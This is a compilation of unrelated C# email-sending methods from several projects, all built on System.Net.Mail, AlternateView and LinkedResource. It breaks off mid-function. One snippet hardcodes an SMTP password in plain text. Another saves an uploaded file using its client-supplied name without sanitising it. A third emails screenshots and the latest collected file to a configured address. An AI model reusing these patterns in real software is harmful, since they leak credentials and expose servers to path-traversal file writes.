private AlternateView GetAlternateView(string body)
{
string mediaType = this.IsBodyHtml ? "text/html" : "text/plain";
AlternateView item = AlternateView.CreateAlternateViewFromString(body, null, mediaType);
foreach (var obj in m_EmbeddedObjects)
{
string path = obj.FileName;
if (string.IsNullOrEmpty(path))
{
throw new InvalidOperationException("Missing FileName in EmbeddedMailObject.");
}
if (!Path.IsPathRooted(path) && !string.IsNullOrEmpty(this.BodyFileName))
{
string bodyFileName = GetFullBodyFileName();
path = Path.Combine(Path.GetDirectoryName(bodyFileName), path);
}
LinkedResource resource = new LinkedResource(path)
{
ContentId = obj.Name
};
try
{
resource.ContentType.Name = Path.GetFileName(path);
item.LinkedResources.Add(resource);
}
catch
{
resource.Dispose();
throw;
}
}
return(item);
}
private void btnSubmit_Click(object sender, RoutedEventArgs e)
{
long trick = DateTime.Now.Ticks;
try
{
using (System.Net.Mail.SmtpClient client = new SmtpClient("smtp.qq.com"))
{
client.UseDefaultCredentials = false;
client.Credentials = new System.Net.NetworkCredential("*****@*****.**", "lhw521zxh");
client.DeliveryMethod = SmtpDeliveryMethod.Network;
MailAddress addressFrom = new MailAddress("*****@*****.**", "多媒体课件编辑器-意见反馈");
MailAddress addressTo = new MailAddress("*****@*****.**", "多媒体课件编辑器-意见反馈");
using (System.Net.Mail.MailMessage message = new MailMessage(addressFrom, addressTo))
{
message.Sender = new MailAddress("*****@*****.**");
message.BodyEncoding = System.Text.Encoding.UTF8;
message.IsBodyHtml = true;
message.Subject = DateTime.Now + "---" + "意见反馈";
SaveFrameworkElementToImage(this, trick + ".bmp");
Attachment attcahment = new Attachment(trick + ".bmp");
LinkedResource linked = new LinkedResource(trick + ".bmp", "image/gif");
linked.ContentId = "weblogo";
string htmlBodyContent = GetHtmlContent("weblogo");
AlternateView htmlBody = AlternateView.CreateAlternateViewFromString(htmlBodyContent, null, "text/html");
htmlBody.LinkedResources.Add(linked);
message.AlternateViews.Add(htmlBody);
client.Send(message);
MessageBox.Show("提交成功，非常感谢您的意见！");
attcahment.Dispose();
linked.Dispose();
htmlBody.Dispose();
}
}
File.Delete(trick + ".bmp");
this.Close();
}
catch (Exception ex)
{
MessageBox.Show("提交失败！");
}
}
/// <summary>
/// Creates QR code image sending task.
/// </summary>
/// <param name="to">Mail address which message will be sent to.</param>
/// <param name="recipeId">Recipe Id</param>
/// <param name="qrImage">QR code Image</param>
/// <returns>QR code image sending task.</returns>
private Task GetSendTask(string to, string recipeId, Bitmap qrImage)
{
var task = new Task(() =>
{
var mail = new MailMessage
{
From = new MailAddress(this._networkCredential.UserName),
Subject = "Recipe QR code",
IsBodyHtml = true
};
var stream = new MemoryStream();
qrImage.Save(stream, ImageFormat.Jpeg);
stream.Position = 0;
var img = new LinkedResource(stream, "image/jpeg")
{
ContentId = "recipe_qr_code"
};
var foot = AlternateView.CreateAlternateViewFromString("<p> <img src=cid:recipe_qr_code /> </p>", null, "text/html");
foot.LinkedResources.Add(img);
mail.AlternateViews.Add(foot);
mail.To.Add(to);
this._smptpClient.Send(mail);
mail.Dispose();
foot.Dispose();
img.Dispose();
stream.Dispose();
qrImage.Dispose();
});
task.Start();
return(task);
}
public override void Send(string to, string subject, bool isBodyHtml, Bitmap qrImage)
{
try
{
var mail = this.ConstructMail(to, subject, isBodyHtml);
var stream = new MemoryStream();
qrImage.Save(stream, ImageFormat.Jpeg);
stream.Position = 0;
var img = new LinkedResource(stream, "image/jpeg")
{
ContentId = "recipe_qr_code"
};
var foot = AlternateView.CreateAlternateViewFromString("<p> <img src=cid:recipe_qr_code /> </p>", null, "text/html");
foot.LinkedResources.Add(img);
mail.AlternateViews.Add(foot);
mail.To.Add(to);
this._smtpClient.Send(mail);
mail.Dispose();
foot.Dispose();
img.Dispose();
stream.Dispose();
qrImage.Dispose();
}
catch (Exception ex)
{
// logging...
throw ex;
}
}
/// <summary>
/// Converts the SRC attribute of IMG tags into embedded content ids (cid).
/// Example: <img src="filename.jpg" /< becomes <img src="cid:unique-cid-jpg" /<
/// </summary>
private void ReplaceImgSrcByCid()
{
var fileList = new List <string>();
_tagHelper.TagName = "img";
foreach (string element in _tagHelper.StartTags)
{
string srcAttr = _tagHelper.GetAttributeValue(element, "src");
if (string.IsNullOrEmpty(srcAttr))
{
continue;
}
try
{
// this will succeed only with local files (at this time, they don't need to exist yet)
string filename = MakeFullPath(MakeLocalPath(srcAttr));
if (!fileList.Contains(filename))
{
string contentType = Mime.GetContentType(new FileInfo(filename));
var lr = new LinkedResource(new MemoryStream(new ASCIIEncoding().GetBytes(string.Empty)), contentType);
_inlineAtt.Add(new FileAttachment(filename, MakeCid(string.Empty, lr.ContentId, new FileInfo(filename).Extension),
contentType));
_tagHelper.ReplaceTag(element,
_tagHelper.SetAttributeValue(element, "src",
MakeCid("cid:", lr.ContentId, new FileInfo(filename).Extension)));
fileList.Add(filename);
lr.Dispose();
}
}
catch
{
continue;
}
}
}
public static bool SendMail(IList <string> mailAdresses, IList <string> ccAddresses, string originalHtml, string originalSubject, ILogEmailRepository logEmailRepository, byte[] attachment, LogEmail logEmail)
{
ContactCenterDA.Repositories.CC.TH.ObraRepository obraRepository = new ContactCenterDA.Repositories.CC.TH.ObraRepository();
try
{
var smtpClient = new SmtpClient();
#region Get Config Variables
String correo = "";
String password = "";
if (Sesion.aplicacion.CorreoNotificacion.Equals(String.Empty))
{
correo = ConfigurationManager.AppSettings["mailAccount"];
password = ConfigurationManager.AppSettings["mailPassword"];
}
else
{
correo = Sesion.aplicacion.CorreoNotificacion;
password = Sesion.aplicacion.Contraseña;
}
var mailAccount = correo;
var mailPassword = password;
var smtp = ConfigurationManager.AppSettings["smtp"];
var mailDisplayName = ConfigurationManager.AppSettings["mailDisplayName"];
var port = ConfigurationManager.AppSettings["port"];
var sslEnabled = Convert.ToBoolean(ConfigurationManager.AppSettings["sslEnabled"]);
var domain = ConfigurationManager.AppSettings["Domain"];
#endregion
#region Create SMTP
smtpClient.Host = smtp;
smtpClient.Port = Convert.ToInt16(port);
smtpClient.UseDefaultCredentials = false;
smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network;
if (domain != null)
{
smtpClient.Credentials = new NetworkCredential(mailAccount, mailPassword, domain);
}
else
{
smtpClient.Credentials = new NetworkCredential(mailAccount, mailPassword);
}
smtpClient.EnableSsl = sslEnabled;
#endregion Create SMTP
#region Create Mail an recievers
var mail = new MailMessage();
mail.From = new MailAddress(mailAccount, mailDisplayName);
foreach (var mailDirection in mailAdresses.Where(x => !string.IsNullOrEmpty(x)))
{
mail.To.Add(new MailAddress(mailDirection.ToLower()));
}
foreach (var mailCC in ccAddresses.Where(x => !string.IsNullOrEmpty(x)))
{
mail.CC.Add(new MailAddress(mailCC.ToLower()));
}
#endregion
#region Create Mail Variables
string htmlBody = originalHtml;
string subject = originalSubject;
#endregion Create Mail Variables
#region Get Mail Body embedded images paths
Byte[] ba = obraRepository.GetImage(logEmail.IdObra);
MemoryStream ms = new MemoryStream(ba);
Image ImageCabe = ContactCenterBL.Properties.Resources.cabecera;
Byte[] imageCabeByte = Convertir_Imagen_Bytes(ImageCabe);
MemoryStream ca = new MemoryStream(imageCabeByte);
#endregion Get Mail Body embedded images paths
#region Set embedded images mail id
var cabecera = new LinkedResource(ca, MediaTypeNames.Image.Jpeg);
cabecera.ContentId = "Cabecera";
//cabecera.TransferEncoding = TransferEncoding.Base64;
var logo = new LinkedResource(ms, MediaTypeNames.Image.Jpeg);
//logo.TransferEncoding = TransferEncoding.Base64;
logo.ContentId = "ImagenObra";
var imageText = logEmail.MensajeImagen;
Image imageMail;
AlternateView html = null;
if (imageText.Equals(String.Empty)) // legacy emails
{
html = AlternateView.CreateAlternateViewFromString(htmlBody, null, MediaTypeNames.Text.Html);
html.LinkedResources.Add(logo);
html.LinkedResources.Add(cabecera);
}
else
{
Image image = Image.FromStream(ca);
Guid id = Guid.NewGuid();
image.Save($"C:\\BackupTeatro\\{id.ToString()}.jpg");
string path = $"C:\\BackupTeatro\\{id.ToString()}.jpg";
Image image2 = Image.FromStream(ms);
Guid id2 = Guid.NewGuid();
image2.Save($"C:\\BackupTeatro\\{id2.ToString()}.jpg");
string path2 = $"C:\\BackupTeatro\\{id2.ToString()}.jpg";
htmlBody = htmlBody.Replace("%Cabecera", path);
htmlBody = htmlBody.Replace("%ImagenObra", path2);
imageText = imageText.Replace("%Cabecera", path);
imageText = imageText.Replace("%ImagenObra", path2);
imageMail = TheArtOfDev.HtmlRenderer.WinForms.HtmlRender.RenderToImageGdiPlus(imageText);
//imageMail.Save($"C:\\BackupTeatro\\test2.jpg");
//Image imagex = Image.FromFile($"C:\\BackupTeatro\\test2.jpg");
Byte[] imageMailBytes = Convertir_Imagen_Bytes(imageMail);
MemoryStream imageMailMemoryStream = new MemoryStream(imageMailBytes);
var imageMailLinked = new LinkedResource(imageMailMemoryStream, MediaTypeNames.Image.Jpeg);
imageMailLinked.ContentId = "obraimagen";
Byte[] pdfFile = PdfSharpConvert(htmlBody);
MemoryStream pdfStream = new MemoryStream(pdfFile);
mail.Attachments.Add(new Attachment(pdfStream, "Confirmación de compra.pdf"));
if (File.Exists(path2))
{
File.Delete(path2);
}
if (File.Exists(path))
{
File.Delete(path);
}
htmlBody = htmlBody.Replace($"C:\\BackupTeatro\\{id.ToString()}.jpg", "%Cabecera");
htmlBody = htmlBody.Replace($"C:\\BackupTeatro\\{id2.ToString()}.jpg", "%ImagenObra");
imageText = imageText.Replace($"C:\\BackupTeatro\\{id.ToString()}.jpg", "%Cabecera");
imageText = imageText.Replace($"C:\\BackupTeatro\\{id2.ToString()}.jpg", "%ImagenObra");
var newHtml = ContactCenterBL.Properties.Resources._base;
html = AlternateView.CreateAlternateViewFromString(newHtml, null, MediaTypeNames.Text.Html);
//html.TransferEncoding = TransferEncoding.Base64;
html.LinkedResources.Add(imageMailLinked);
}
//mail.Attachments.Add(new Attachment(imageMailMemoryStream, "Compra.jpg"));
#endregion
#region Set Body and Images
//html.LinkedResources.Add(cabecera);
#endregion Get Mail Body embedded images paths
#region Set values to mail
mail.Subject = subject;
mail.IsBodyHtml = true;
//Attachment inlineLogo = new Attachment(@"../../Resources/cabecera_correo2.jpg");
//string contentID = "cabe";
//inlineLogo.ContentId = contentID;
//inlineLogo.ContentDisposition.Inline = true;
//inlineLogo.ContentDisposition.DispositionType = DispositionTypeNames.Inline;
//mail.Attachments.Add(inlineLogo);
mail.AlternateViews.Add(html);
#endregion Set values to mail
#region Send Mail
smtpClient.Send(mail);
logEmail.Asunto = subject;
logEmail.CorreoDestino = string.Join(",", mailAdresses.Select(x => x.ToString()).ToArray());
logEmail.CorreoDestinoCC = string.Join(",", ccAddresses.Select(x => x.ToString()).ToArray());
logEmail.Estado = "OK";
logEmail.FechaEnvio = DateTime.Now;
logEmail.FechaModificacion = DateTime.Now;
logEmail.UsuarioModificacion = Sesion.usuario.Login;
logEmail.Mensaje = htmlBody;
logEmail.Intento = logEmail.Intento + 1;
logEmail.Descripcion = String.Empty;
logEmailRepository.Update(logEmail);
smtpClient.Dispose();
mail.Dispose();
logo.Dispose();
return(true);
#endregion Send Mail
}
catch (Exception ex)
{
logEmail.CorreoDestino = string.Join(",", mailAdresses.Select(x => x.ToString()).ToArray());
logEmail.CorreoDestinoCC = string.Join(",", ccAddresses.Select(x => x.ToString()).ToArray());
logEmail.FechaEnvio = DateTime.Now;
logEmail.FechaModificacion = DateTime.Now;
logEmail.UsuarioModificacion = Sesion.usuario.Login;
logEmail.Intento = logEmail.Intento + 1;
logEmail.Estado = "FALLO";
logEmail.Descripcion = ex.Message;
logEmailRepository.Update(logEmail);
return(false);
}
}
/// <summary>
/// Called once the sumbit button has been clicked
/// In the end it will send an email if all the fields have been filled properly
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void bSend_Click(object sender, EventArgs e)
{
//checks if validation has passed
if (IsValid)
{
//MailMessage class
MailMessage mailmsg = new MailMessage();
mailmsg.Subject = this.Subject.Text;
mailmsg.IsBodyHtml = true;
LinkedResource image = new LinkedResource(Server.MapPath("~/image/business-company-logo-27438277.jpg"));
string message = generateMessage(this.Msg.Text, this.Email.Text, this.Name.Text);
string body = string.Format(@"{0}
<img style='height: 180px; width: 300px' src=""cid:{1}""/>"
, message, image.ContentId); //'@' before the string used so that all of the backslash escapes in the file path.
AlternateView view = AlternateView.CreateAlternateViewFromString(body, null, "text/html"); //could have plain/text format version before this.
view.LinkedResources.Add(image);
mailmsg.AlternateViews.Add(view); //adds the AlternateView;
string filePath = ""; //string filePath to an empty string. when checking whether there is an uploaded file, there will be no need to check if the string object is null.
FileUpload fileAtt = this.fileUp;
Attachment att = null;
if (fileAtt.HasFiles)
{
//if there is a uploaded file
filePath = Server.MapPath("~/uploads/" + this.fileUp.FileName);
fileAtt.SaveAs(filePath);
att = new Attachment(filePath);
mailmsg.Attachments.Add(att); //add the uploaded file as a attachment
}
mailmsg.From = new MailAddress("*****@*****.**", "Name Surname"); //the sender
mailmsg.To.Add(new MailAddress("*****@*****.**", "Name Surname")); //the receiver, could also add a carbon copy using "mailMessage.CC"
SmtpClient sc = new SmtpClient();
try
{
//most of this could be done in the Web.config file under system.net -> mailSettings tags
sc.DeliveryMethod = SmtpDeliveryMethod.Network;
sc.EnableSsl = true; //enables secure socket layer
sc.Host = "smtp.gmail.com"; //gmail
sc.Port = 25; //most will use port 25, it's best to check which port does the provider use
sc.Credentials = new NetworkCredential("*****@*****.**", "password"); //email and password for the sender, email provider may block it. There should be an option to allow less secure connections.
sc.Send(mailmsg); //sends the email
}
catch (SmtpException smtpException)
{
System.Diagnostics.Debug.WriteLine("Email Provider may be blocking access"); //Email providors normally block it as this is a less secure connection (i.e the password is visible in the source code, refer to 'NetworkCredential' on line 76)
System.Diagnostics.Debug.WriteLine(smtpException.Message); //There can be other causes so a message is also displayed
}
finally
{
//release resources used and delete uploaded file if it exists
if (sc != null)
{
sc.Dispose();
}
if (image != null)
{
image.Dispose();
}
if (view != null)
{
view.Dispose();
}
if (att != null)
{
att.Dispose();
}
if (mailmsg != null)
{
mailmsg.Dispose();
}
if (File.Exists(filePath))
{
File.Delete(filePath); //deletes uploaded file if it exists
}
}
}
}
private void SendEmailWithScreenshots(ScreenShotTakenMessage screenShotTakenMessage)
{
try
{
if (ShouldExecute)
{
var addressFrom = new MailAddress(_settingsHandler.GetEmailFrom(), _settingsHandler.GetEmailFrom());
var addressTo = new MailAddress(_settingsHandler.GetEmailTo());
var mail = new MailMessage(addressFrom, addressTo);
var memoryStreamScreenshot = new MemoryStream();
screenShotTakenMessage.Bitmap.Save(memoryStreamScreenshot, ImageFormat.Jpeg);
memoryStreamScreenshot.Position = 0;
var linkredResourceScreenshot = new LinkedResource(memoryStreamScreenshot, MediaTypeNames.Image.Jpeg);
LinkedResource linkedResourceLastFile = null;
MemoryStream memoryStreamLastFile = null;
var latestFileInfo = _lastFileCollector.GetLastFile();
if (latestFileInfo != null)
{
memoryStreamLastFile = new MemoryStream(File.ReadAllBytes(latestFileInfo.FullName));
memoryStreamLastFile.Position = 0;
var mimeType = MimeTypes.GetMimeType(latestFileInfo.Name);
linkedResourceLastFile = new LinkedResource(memoryStreamLastFile, mimeType);
}
//TODO: missing in ISettingsHandler
mail.Subject = "Screenshot sender";
//TODO: missing in ISettingsHandler
var htmlString = $@"<html>
<body>
<p>
New screenshot was taken by ScreenShot sender.
<br/>
<img src='cid: { linkredResourceScreenshot.ContentId}' />
#$LATESTFILELINKEDRESOURCEHOLDER$#
</p>
</body>
</html>
";
if (linkedResourceLastFile != null && linkedResourceLastFile.ContentType.MediaType.Contains("image"))
{
htmlString = htmlString.Replace("#$LATESTFILELINKEDRESOURCEHOLDER$#", $"<img src = 'cid: { linkedResourceLastFile.ContentId}' />");
}
else
{
htmlString = htmlString.Replace("#$LATESTFILELINKEDRESOURCEHOLDER$#", string.Empty);
}
var alternateView = AlternateView.CreateAlternateViewFromString(htmlString, null, MediaTypeNames.Text.Html);
alternateView.LinkedResources.Add(linkredResourceScreenshot);
if (linkedResourceLastFile != null)
{
if (linkedResourceLastFile.ContentType.MediaType.Contains("image"))
{
alternateView.LinkedResources.Add(linkedResourceLastFile);
}
else
{
mail.Attachments.Add(new Attachment(latestFileInfo.FullName));
}
}
mail.AlternateViews.Add(alternateView);
var smtp = new SmtpClient();
smtp.Host = _settingsHandler.GetEmailSmtpHost();
smtp.Port = _settingsHandler.GetEmailSmtpPort();
smtp.EnableSsl = _settingsHandler.GetEmailSmtpEnableSsl();
smtp.UseDefaultCredentials = false;
smtp.Credentials = new NetworkCredential(_settingsHandler.GetEmailSmtpUserName(), _settingsHandler.GetEmailFromPassword());
smtp.DeliveryMethod = SmtpDeliveryMethod.Network;
smtp.Timeout = 20000;
smtp.Send(mail);
//TODO: disposing!
smtp.Dispose();
mail.Dispose();
//smtp.SendAsync(mail, null);
memoryStreamScreenshot.Dispose();
linkredResourceScreenshot.Dispose();
if (linkedResourceLastFile != null)
{
linkedResourceLastFile.Dispose();
memoryStreamLastFile.Dispose();
}
}
}
catch (Exception ex)
{
_logger.Error(LocalizedStrings.EmailSenderErrorMessage, ex);
}
}
public MailMessage CreateMailMessage(string recipients, IDictionary replacements, string body, Control owner)
{
MailMessage message2;
if (owner == null)
{
throw new ArgumentNullException("owner");
}
string from = this.From;
if (string.IsNullOrEmpty(from))
{
SmtpSection smtp = RuntimeConfig.GetConfig().Smtp;
if (((smtp == null) || (smtp.Network == null)) || string.IsNullOrEmpty(smtp.From))
{
throw new HttpException(System.Web.SR.GetString("MailDefinition_NoFromAddressSpecified"));
}
from = smtp.From;
}
MailMessage message = null;
try
{
message = new MailMessage(from, recipients);
if (!string.IsNullOrEmpty(this.CC))
{
message.CC.Add(this.CC);
}
if (!string.IsNullOrEmpty(this.Subject))
{
message.Subject = this.Subject;
}
message.Priority = this.Priority;
if ((replacements != null) && !string.IsNullOrEmpty(body))
{
foreach (object obj2 in replacements.Keys)
{
string pattern = obj2 as string;
string replacement = replacements[obj2] as string;
if ((pattern == null) || (replacement == null))
{
throw new ArgumentException(System.Web.SR.GetString("MailDefinition_InvalidReplacements"));
}
replacement = replacement.Replace("$", "$$");
body = Regex.Replace(body, pattern, replacement, RegexOptions.IgnoreCase);
}
}
if (this.EmbeddedObjects.Count > 0)
{
string mediaType = this.IsBodyHtml ? "text/html" : "text/plain";
AlternateView item = AlternateView.CreateAlternateViewFromString(body, null, mediaType);
foreach (EmbeddedMailObject obj3 in this.EmbeddedObjects)
{
string path = obj3.Path;
if (string.IsNullOrEmpty(path))
{
throw ExceptionUtil.PropertyNullOrEmpty("EmbeddedMailObject.Path");
}
if (!UrlPath.IsAbsolutePhysicalPath(path))
{
path = VirtualPath.Combine(owner.TemplateControlVirtualDirectory, VirtualPath.Create(path)).AppRelativeVirtualPathString;
}
LinkedResource resource = null;
try
{
Stream contentStream = null;
try
{
contentStream = owner.OpenFile(path);
resource = new LinkedResource(contentStream);
}
catch
{
if (contentStream != null)
{
contentStream.Dispose();
}
throw;
}
resource.ContentId = obj3.Name;
resource.ContentType.Name = UrlPath.GetFileName(path);
item.LinkedResources.Add(resource);
}
catch
{
if (resource != null)
{
resource.Dispose();
}
throw;
}
}
message.AlternateViews.Add(item);
}
else if (!string.IsNullOrEmpty(body))
{
message.Body = body;
}
message.IsBodyHtml = this.IsBodyHtml;
message2 = message;
}
catch
{
if (message != null)
{
message.Dispose();
}
throw;
}
return(message2);
}
/// <summary>
/// This method takes the input from the form, creates a mail message and sends it to the smtp server
/// </summary>
private void SendEmail()
{
// make sure we have values in user, password and To
if (ValidateForm() == false)
{
return;
}
// create mail, smtp and mailaddress objects
MailMessage mail = new MailMessage();
SmtpClient smtp = new SmtpClient();
MailAddressCollection mailAddrCol = new MailAddressCollection();
try
{
// set the From email address information
mail.From = new MailAddress(txtBoxEmailAddress.Text);
// set the To email address information
mailAddrCol.Clear();
logger.Log("Adding To addresses: " + txtBoxTo.Text);
mailAddrCol.Add(txtBoxTo.Text);
MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.To);
// check for Cc and Bcc, which can be empty so we only need to add when the textbox contains a value
if (txtBoxCC.Text.Trim() != "")
{
mailAddrCol.Clear();
logger.Log("Adding Cc addresses: " + txtBoxCC.Text);
mailAddrCol.Add(txtBoxCC.Text);
MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.Cc);
}
if (txtBoxBCC.Text.Trim() != "")
{
mailAddrCol.Clear();
logger.Log("Adding Bcc addresses: " + txtBoxBCC.Text);
mailAddrCol.Add(txtBoxBCC.Text);
MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.Bcc);
}
// set encoding for message
if (Properties.Settings.Default.BodyEncoding != "")
{
mail.BodyEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.BodyEncoding);
}
if (Properties.Settings.Default.SubjectEncoding != "")
{
mail.SubjectEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.SubjectEncoding);
}
if (Properties.Settings.Default.HeaderEncoding != "")
{
mail.HeadersEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.HeaderEncoding);
}
// set priority for the message
switch (Properties.Settings.Default.MsgPriority)
{
case "High":
mail.Priority = MailPriority.High;
break;
case "Low":
mail.Priority = MailPriority.Low;
break;
default:
mail.Priority = MailPriority.Normal;
break;
}
// add HTML AltView
if (Properties.Settings.Default.AltViewHtml != "")
{
ContentType ctHtml = new ContentType("text/html");
htmlView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewHtml, ctHtml);
// add inline attachments / linked resource
if (inlineAttachmentsTable.Rows.Count > 0)
{
foreach (DataRow rowInl in inlineAttachmentsTable.Rows)
{
LinkedResource lr = new LinkedResource(rowInl.ItemArray[0].ToString());
lr.ContentId = rowInl.ItemArray[1].ToString();
lr.ContentType.MediaType = rowInl.ItemArray[2].ToString();
htmlView.LinkedResources.Add(lr);
lr.Dispose();
}
}
// set transfer encoding
htmlView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.htmlBodyTransferEncoding);
mail.AlternateViews.Add(htmlView);
}
// add Plain Text AltView
if (Properties.Settings.Default.AltViewPlain != "")
{
ContentType ctPlain = new ContentType("text/plain");
plainView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewPlain, ctPlain);
plainView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.plainBodyTransferEncoding);
mail.AlternateViews.Add(plainView);
}
// add vCal AltView
if (Properties.Settings.Default.AltViewCal != "")
{
ContentType ctCal = new ContentType("text/calendar");
ctCal.Parameters.Add("method", "REQUEST");
ctCal.Parameters.Add("name", "meeting.ics");
calView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewCal, ctCal);
calView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.vCalBodyTransferEncoding);
mail.AlternateViews.Add(calView);
}
// add custom headers
foreach (DataGridViewRow rowHdr in dgGridHeaders.Rows)
{
if (rowHdr.Cells[0].Value != null)
{
mail.Headers.Add(rowHdr.Cells[0].Value.ToString(), rowHdr.Cells[1].Value.ToString());
}
}
// add attachements
foreach (DataGridViewRow rowAtt in dgGridAttachments.Rows)
{
if (rowAtt.Cells[0].Value != null)
{
Attachment data = new Attachment(rowAtt.Cells[0].Value.ToString(), FileUtilities.GetContentType(rowAtt.Cells[1].Value.ToString()));
if (rowAtt.Cells[4].Value.ToString() == "True")
{
data.ContentDisposition.Inline = true;
data.ContentDisposition.DispositionType = DispositionTypeNames.Inline;
data.ContentId = rowAtt.Cells[3].Value.ToString();
Properties.Settings.Default.BodyHtml = true;
}
else
{
data.ContentDisposition.Inline = false;
data.ContentDisposition.DispositionType = DispositionTypeNames.Attachment;
}
mail.Attachments.Add(data);
}
}
// add read receipt
if (Properties.Settings.Default.ReadRcpt == true)
{
mail.Headers.Add("Disposition-Notification-To", txtBoxEmailAddress.Text);
}
// set the content
mail.Subject = txtBoxSubject.Text;
msgSubject = txtBoxSubject.Text;
mail.Body = richTxtBody.Text;
mail.IsBodyHtml = Properties.Settings.Default.BodyHtml;
// add delivery notifications
if (Properties.Settings.Default.DelNotifOnFailure == true)
{
mail.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
}
if (Properties.Settings.Default.DelNotifOnSuccess == true)
{
mail.DeliveryNotificationOptions = DeliveryNotificationOptions.OnSuccess;
}
// send by pickup folder?
if (rdoSendByPickupFolder.Checked)
{
if (chkBoxSpecificPickupFolder.Checked)
{
if (Directory.Exists(txtPickupFolder.Text))
{
smtp.DeliveryMethod = SmtpDeliveryMethod.SpecifiedPickupDirectory;
smtp.PickupDirectoryLocation = txtPickupFolder.Text;
}
else
{
throw new DirectoryNotFoundException(@"The specified directory """ + txtPickupFolder.Text + @""" does not exist.");
}
}
else
{
smtp.DeliveryMethod = SmtpDeliveryMethod.PickupDirectoryFromIis;
}
}
// smtp client setup
// this is for TLS enforcement -- is its true
// STARTTLS will be utilized
smtp.EnableSsl = chkEnableSSL.Checked;
// we are avoiding to carry out default logon credentials to smtp session
smtp.UseDefaultCredentials = false;
smtp.Port = Int32.Parse(cmbPort.Text.Trim());
smtp.Host = cmbServer.Text;
smtp.Timeout = Properties.Settings.Default.SendSyncTimeout;
// we are checking, if its office365.com or not because of specific settings on receive connectors
// for on premise exchange servers can cause exception
if (smtp.Host == "smtp.office365.com")
{
string targetname = "SMTPSVC/" + smtp.Host;
smtp.TargetName = targetname;
}
else
{
smtp.TargetName = null;
}
// check for credentials
// moved credential a bit low in the code flow becuase of I've seen a credential removal somehow
string sUser = txtBoxEmailAddress.Text.Trim();
string sPassword = mskPassword.Text.Trim();
string sDomain = txtBoxDomain.Text.Trim();
if (sUser.Length != 0)
{
if (sDomain.Length != 0)
{
smtp.Credentials = new NetworkCredential(sUser, sPassword, sDomain);
}
else
{
smtp.Credentials = new NetworkCredential(sUser, sPassword);
}
}
// send email
smtp.Send(mail);
}
catch (SmtpException se)
{
txtBoxErrorLog.Clear();
noErrFound = false;
if (se.StatusCode == SmtpStatusCode.MailboxBusy || se.StatusCode == SmtpStatusCode.MailboxUnavailable)
{
logger.Log("Delivery failed - retrying in 5 seconds.");
Thread.Sleep(5000);
smtp.Send(mail);
}
else
{
logger.Log("Error: " + se.Message);
logger.Log("StackTrace: " + se.StackTrace);
logger.Log("Status Code: " + se.StatusCode);
logger.Log("Description:" + MessageUtilities.GetSmtpStatusCodeDescription(se.StatusCode.ToString()));
logger.Log("Inner Exception: " + se.InnerException);
}
}
catch (InvalidOperationException ioe)
{
// invalid smtp address used
txtBoxErrorLog.Clear();
noErrFound = false;
logger.Log("Error: " + ioe.Message);
logger.Log("StackTrace: " + ioe.StackTrace);
logger.Log("Inner Exception: " + ioe.InnerException);
}
catch (FormatException fe)
{
// invalid smtp address used
txtBoxErrorLog.Clear();
noErrFound = false;
logger.Log("Error: " + fe.Message);
logger.Log("StackTrace: " + fe.StackTrace);
logger.Log("Inner Exception: " + fe.InnerException);
}
catch (Exception ex)
{
txtBoxErrorLog.Clear();
noErrFound = false;
logger.Log("Error: " + ex.Message);
logger.Log("StackTrace: " + ex.StackTrace);
logger.Log("Inner Exception: " + ex.InnerException);
}
finally
{
// log success
if (formValidated == true && noErrFound == true)
{
logger.Log("Message subject = " + msgSubject);
logger.Log("Message send = SUCCESS");
}
// cleanup resources
mail.Dispose();
mail = null;
smtp.Dispose();
smtp = null;
// reset variables
formValidated = false;
noErrFound = true;
inlineAttachmentsTable.Clear();
hdrName = null;
hdrValue = null;
msgSubject = null;
}
}
/// <devdoc>
/// Creates a MailMessage using the body parameter.
/// </devdoc>
public MailMessage CreateMailMessage(string recipients, IDictionary replacements, string body, Control owner)
{
if (owner == null)
{
throw new ArgumentNullException("owner");
}
string from = From;
if (String.IsNullOrEmpty(from))
{
System.Net.Configuration.SmtpSection smtpSection = RuntimeConfig.GetConfig().Smtp;
if (smtpSection == null || smtpSection.Network == null || String.IsNullOrEmpty(smtpSection.From))
{
throw new HttpException(SR.GetString(SR.MailDefinition_NoFromAddressSpecified));
}
else
{
from = smtpSection.From;
}
}
MailMessage message = null;
try {
message = new MailMessage(from, recipients);
if (!String.IsNullOrEmpty(CC))
{
message.CC.Add(CC);
}
if (!String.IsNullOrEmpty(Subject))
{
message.Subject = Subject;
}
message.Priority = Priority;
if (replacements != null && !String.IsNullOrEmpty(body))
{
foreach (object key in replacements.Keys)
{
string fromString = key as string;
string toString = replacements[key] as string;
if ((fromString == null) || (toString == null))
{
throw new ArgumentException(SR.GetString(SR.MailDefinition_InvalidReplacements));
}
// DevDiv 151177
// According to http://msdn2.microsoft.com/en-us/library/ewy2t5e0.aspx, some special
// constructs (starting with "$") are recognized in the replacement patterns. References of
// these constructs will be replaced with predefined strings in the final output. To use the
// character "$" as is in the replacement patterns, we need to replace all references of single "$"
// with "$$", because "$$" in replacement patterns are replaced with a single "$" in the
// final output.
toString = toString.Replace("$", "$$");
body = Regex.Replace(body, fromString, toString, RegexOptions.IgnoreCase);
}
}
// If there are any embedded objects, we need to construct an alternate view with text/html
// And add all of the embedded objects as linked resouces
if (EmbeddedObjects.Count > 0)
{
string viewContentType = (IsBodyHtml ? MediaTypeNames.Text.Html : MediaTypeNames.Text.Plain);
AlternateView view = AlternateView.CreateAlternateViewFromString(body, null, viewContentType);
foreach (EmbeddedMailObject part in EmbeddedObjects)
{
string path = part.Path;
if (String.IsNullOrEmpty(path))
{
throw ExceptionUtil.PropertyNullOrEmpty("EmbeddedMailObject.Path");
}
if (!UrlPath.IsAbsolutePhysicalPath(path))
{
